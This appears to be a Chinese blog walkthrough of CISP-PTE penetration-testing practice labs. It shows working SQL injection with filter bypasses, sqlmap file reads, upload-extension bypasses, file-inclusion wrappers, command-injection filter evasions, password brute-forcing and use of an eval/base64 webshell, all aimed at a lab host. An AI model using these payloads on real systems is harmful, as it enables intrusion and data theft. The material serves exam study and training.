• CISP-PTE实操练习题讲解一(新版)


    CISP-PTE实操练习题讲解一(新版)

    前言

    最近已经考完PTE的考试了,总体来说,难度较大,对于我学渗透测试快一年来说,基础还算不错的,但是最后还是因为没有接触过一些新题型,导致最后的key没有做出来,不过最后还是加上选择题的分数,刚刚过的,今天,我给大家总结一下,在培训过程中讲的第一套题的新的解题方法。希望对以后有需要考PTE的同学有帮助,后续会讲第二套和综合题的解法,大家好好复习一下哈。

    一、CISP-PTE考试感悟

    CISP-PTE的考试圆满的结束了,考试难度的话,选择题比较简单,当基础题SQL注入比较难,是个登录系统,用弱口令,万能密码,都不能登录进去,因为答案的key就在根目录下,用sqlmap去读文件的时候,也跑不出来,就放弃了。然后把其余4道都写了,都比较简单,不是很难。但是综合题真的很难,考的是Linux环境下的综合题,考试预测可能是win2008或者Linux的环境,但是刚好那天我们是分批考的,上午考的Linux,下午考的是win2008的环境,所以我做的时候非常痛苦,硬着头皮把前两个key拿到就跑路了,第一个key是连接数据库后,修改网站后台密码,登录进去得到的key。第二个就是通过文件包含和伪协议base64编码得到的,第三个就是的key蚁剑连接在key目录下,进行提权才可以拿到,最后因为蚁剑怎么都传不上去,就放弃了。所以就拿到两个key,就跑路了。最后就是选择题比较简单,拿到了17分。总体就是,最后拿到了6个key+17分,低分飘过了。实在是实属不易啊,最后,会开始着手软考信安方向的复习了。以后,如果比毕业工作了,有经济的话,会继续考虑一些信息安全方面的证书的。听老师说,逆向方面的工作挺不错,不过要学好汇编才行,以后如果有时间的话,会好好学一下逆向方面的知识,多一条技术,为以后工作多一条出路,大家趁大学时候,抓紧学习,增强自己的实力呀,为以后就业有更好的铺垫。好了,考试的情况就跟大家讲到这里了,以后有机会的话,会跟大家分享更多考试相关的经验和渗透相关的知识哈。下面是我在实操练习中对之前的套题做一次新的讲解,知识点会更全面,对考试都会有帮助的。

    二、CISP-PTE实操练习题讲解(一)

    1. SQL注入

    (1)第一种解法

    在这里插入图片描述
    我们进入答题,通过提示,答案就在这个/tmp/360/key路径下
    http://192.168.230.131:81/vulnerabilities/fu1.php?id=1

    标题中有提示注入的地方,id号有存在括号注入,我注入的时候就要加上括号
    select * from article where id= (‘1’)

    我们在后面加上’),发现报错
    http://192.168.230.131:81/vulnerabilities/fu1.php?id=1’)
    在这里插入图片描述
    没有回显,在加上单引号,出现了回显
    在这里插入图片描述
    说明存在SQL注入,我们在看看是否存在过滤点,当我们判断地段个数时,注入以下语句时
    http://192.168.230.131:81/vulnerabilities/fu1.php?id=1’) order by 4–

    回显出这个语句,说明空格被过滤了
    select * from article where id= (‘1’)orderby4–‘)
    在这里插入图片描述
    我们用注释符将空格进行绕过,将后面(-- )换成#进行绕过
    在这里插入图片描述
    在这里插入图片描述
    没有回显,说明#号也被过滤了,我们在修改为base64编码进行绕过试试,修改为以下语句
    在这里插入图片描述
    在这里插入图片描述
    发现报错了,可能不是这个字段数,修改为4时
    在这里插入图片描述
    在这里插入图片描述
    发生了回显,说明存在4个字段,先绕过了,我们用联合查询,查一下数据看看
    在这里插入图片描述
    在这里插入图片描述
    报错,且没有显示union字段,说明union关键字被过滤了,我们双写进行绕过试试
    在这里插入图片描述
    在这里插入图片描述
    回显成功了,绕过成功了,我们将id=1赋值为id=-1进行报错,回显看看
    在这里插入图片描述
    在这里插入图片描述
    2,3,4是回显位置,我们用位置(2)进行注入看看,这里用到读文件的函数load_file(’/tmp/360/key’)
    在这里插入图片描述
    在这里插入图片描述
    回显成功了,得到key就是key:8b3h4a7v。这道题主要是过滤了空格和注释符#的过滤,以及union关键字的过滤。

    (2)第二种解法

    当然,此题,也可以用sqlmap去解。直接调用–file-read,和tamper脚本进行读文件就可以了。

    我们打开sqlmap,写入一下语句执行
    python sqlmap.py -u “http://192.168.230.131:81/vulnerabilities/fu1.php?id=1” --file-read=/tmp/360/key --tamper “space2hash.py” -level 3 -batch
    在这里插入图片描述
    在这里插入图片描述
    读到的key文件就在图中黄色的路径中了,我们只需要去查看就可以了,找到当前w文件的路径
    C:\Users\CISP-PTE\AppData\Local\sqlmap\output\192.168.230.131\files
    在这里插入图片描述
    在这里插入图片描述
    我们就拿到key了。

    2. 文件上传

    (1)http://192.168.230.131:82/vulnerabilities/fu1.php
    在这里插入图片描述
    我们进入答题
    在这里插入图片描述
    我们在桌面新建一个包含读文件代码的图片,进行上传
    GIF89a

    在这里插入图片描述
    在这里插入图片描述
    打开代理,利用burp进行抓包上传
    在这里插入图片描述
    发送到reperter,修改后缀名为.php,进行重发
    在这里插入图片描述
    发现没有上传成功,说明php内过滤了,我们双写或改成.php3绕过试试
    在这里插入图片描述
    修稿为.php3之后,上传成功了,我们查看一下文件试试
    http://192.168.230.131:82/vulnerabilities/b.php3
    在这里插入图片描述
    我们打开源代码看看
    在这里插入图片描述
    我们就拿到了key:8t5s0x5t。

    这里我总结几种读文件的方法给大家:

    这里还有一种解法,就是写一句话木马在文件中,然后上传,用蚁剑连接,查看根目录下的key文件就可以了,这里就不介绍了,大家可以尝试一下。

    3. 文件包含

    http://192.168.230.131:83
    在这里插入图片描述
    进入答题后
    http://192.168.230.131:83/vulnerabilities/fu1.php?file=view.html
    在这里插入图片描述
    看到文件包含漏洞,我们首先想到的是伪协议是否能读出来,还有base64编码是否可以,以及远程包含上一题中文件上传时的照片,都试一下各个方法是否行的通。

    答案就在根目录下,我们直接构造语句就可以了,就是在…/key目录下,首先我们利用伪协议试试
    data:/text/plain,

    http://192.168.230.131:83/vulnerabilities/fu1.php?file=data:/text/plain,
    在这里插入图片描述
    右键查看我们源码即可
    在这里插入图片描述
    我们成功拿到了key:6u3x9t2p。

    类似的
    我们可以使用以下伪协议:
    data:text/plain,
    data://text/plain,
    data:,

    (2)还有php://input方法,我们进行抓包,在file那里输入php://input和在get请求下面输入读文件的代码,就可以直接读出key了
    在这里插入图片描述
    (3)还有一种方法就是进行base64编码进行读文件
    php://filter/convert.base64-encode/resource=…/key.php

    http://192.168.230.131:83/vulnerabilities/fu1.php?file=php://filter/convert.base64-encode/resource=…/key.php
    在这里插入图片描述
    我们读到了一段base64的编码
    R2V0IGl0IQ0KPD9waHANCg0KLy9rZXk6NnUzeDl0MnANCj8+
    通过解码之后,为以下语句
    Get it!

    我们就得到了key:6u3x9t2p。
    (4)此题还有另一种解法,就是进行远程文件包含,而且是包含上一题的图片文件
    http://192.168.230.131:83/vulnerabilities/fu1.php?file=http://192.168.230.131:82/vulnerabilities/b.php3
    在这里插入图片描述
    我们也找到了key:8t5s0x5t。

    4. 命令执行

    http://192.168.230.131:84
    在这里插入图片描述
    我们进入答题
    http://192.168.230.131:84/vulnerabilities/fu1.php
    在这里插入图片描述
    我们来测试一下管道符哪个被过滤了&,|,;三个管道符测试了之后都没有显示错误,说明都没有被过滤,都测试了之后,都没有报错,说明都没有被过滤

    我们直接读取文件
    | cat …/key.php
    在这里插入图片描述
    发现cat被过滤了,我们用特殊符号绕过一下,输入| c’a’t …/key.php
    在这里插入图片描述
    在这里插入图片描述
    我们右键查看源码
    在这里插入图片描述
    我们就拿到了key:3s9j6c2k。我们还可以用tac来读取文件。
    在这里插入图片描述
    在这里插入图片描述
    直接就读到key了。

    我给大家总结了读文件的命令:
    cat more less head tail sort tac vi vim nl od xxd cp awk nano curl

    危险函数
    system()
    exec()
    passthru()
    shell_exec
    pcntl_exec()
    preg_replace()

    解题方法:
    &head …/key.p?p–右键–查看源码
    &od -c …/key.p?p
    3.绕过cat检测
    a.? 任意单个字符
    &/bin/c?t …/key.p?p-查看源码
    b.* 任意长度的字符
    &/bin/c*t …/key.p?p
    c.单引号
    &/bin/c’a’t …/key.p?p
    d.双引号
    &/bin/c"a"t …/key.p?p
    e.
    &/bin/c\a\t …/key.p?p
    f:赋值
    &a=c;b=at; a a ab …/key.p?p
    过滤cat:php cat–绕过
    &/bin/c"a"t …/key.p?p

    5. 日志分析

    http://192.168.230.131:85/
    在这里插入图片描述
    http://192.168.230.131:85/access.log
    在这里插入图片描述
    我们先查127.16.12.12的地址,在查看返回200状态码的地址,我们按Ctrl+F键进行搜索
    在这里插入图片描述
    在这里插入图片描述
    我们找到这个文件进行打开登录
    在这里插入图片描述
    会出现这个登录页面
    在这里插入图片描述
    我们进行账号和密码爆破,我们使用两个账号和密码字典进行爆破,得到账号和密码是:admin,password123
    在这里插入图片描述
    在这里插入图片描述
    我们就拿到了key:9y6u8s5m。

    6. 代码审计

    http://192.168.230.131:83/vulnerabilities/fu1.php?file=code.html

    我们查看一下源代码
    http://192.168.230.131:83/vulnerabilities/code.html
    在这里插入图片描述
    在这里插入图片描述

    提交方法:get
    参数:cmd
    长度小于等于30
    执行:exec 没有回显

    &cmd=echo “”>a.php
    由于长度限制是30,所以无法写入一句话

    我们可以使用重定向到a.txt文件,然后打开a.txt文件进行查看内容。
    http://192.168.230.131:83/vulnerabilities/fu1.php?file=code.html&cmd=ls …/>a.txt

    我们查看a.txt文件查看
    http://192.168.230.131:83/vulnerabilities/a.txt
    在这里插入图片描述
    我们查看key.php文件的内容
    http://192.168.230.131:83/vulnerabilities/fu1.php?file=code.html&cmd=cat …/key.php>a.txt
    在这里插入图片描述
    我们就拿到了key:6u3x9t2p。

    7. 代码审计(2)

    http://192.168.230.131:83/vulnerabilities/fu1.php?file=view1.html
    在这里插入图片描述
    我们查看一下源码
    http://192.168.230.131:83/vulnerabilities/view1.html
    在这里插入图片描述
    在这里插入图片描述

    (.)" role="presentation" style="text-align: center; position: relative;">(.)
    /e",'\\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=')); } ?>

    在这里我们可以看到有一个经过base64编码的一句话,我们先来j解码看看是什么先
    W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=
    解码后:[@eval(base64_decode($_POST[z0]));]
    发现是一句话

    我们用蚁剑连接看看,密码是z0
    在这里插入图片描述
    这里提示z0不能是密码
    在这里插入图片描述
    我们看一下源码中的@$a = $_POST[‘Hello’]; ,是要提示我们用也可以用Hello进行登录,我们在试试。
    这里由于环境的问题,是连接不上去的,当我们可以采用另一种方法,用post方法提交试试。

    我们提交参数,进行赋值,查看一下根目录的文件有哪,输入一下语句:
    Hello=a&z0=system(‘ls …/’);
    再对z0后面的语句进行编码
    Hello=a&z0=c3lzdGVtKCdscyAuLi8nKTs=
    在这里插入图片描述
    有key.php文件,我们查看一下
    Hello=a&z0=system(‘cat …/key.php’);
    编码后:
    Hello=a&z0=c3lzdGVtKCcuLi9rZXkucGhwJyk7
    在这里插入图片描述
    右键查看源码即可
    在这里插入图片描述
    我们就拿到了key:6u3x9t2p。

    总结

    在这里我们就讲解完了第一套题了,另外多了两套代码审计的题,作为扩展练习,大家可以看一下,篇幅有点长,几乎把每道题说设计的知识点都讲的很详细了。接下来会讲解第二套题,也是历年考试考过的题目,大家好好复习一下。

  • 相关阅读:
    cs231n_1_IntroToConv
    基于STM32的LoRaWAN无线通信网络设计与实现
    百数服务商模式:为制造业未来插上数字化的翅膀,创造商机!
    立体多层玫瑰绘图源码__玫瑰花python 绘图源码集锦
    JavaScript常见面试题(三)
    Java SE 12 新增特性
    【Hack The Box】linux练习-- Nibbles
    【开发小记】vue2+elementUI实现搜索结果无限滚动(触底加载)展示
    foil算法
    面试中必不可少的性能优化专题~
  • 原文地址:https://blog.csdn.net/lza20001103/article/details/126175690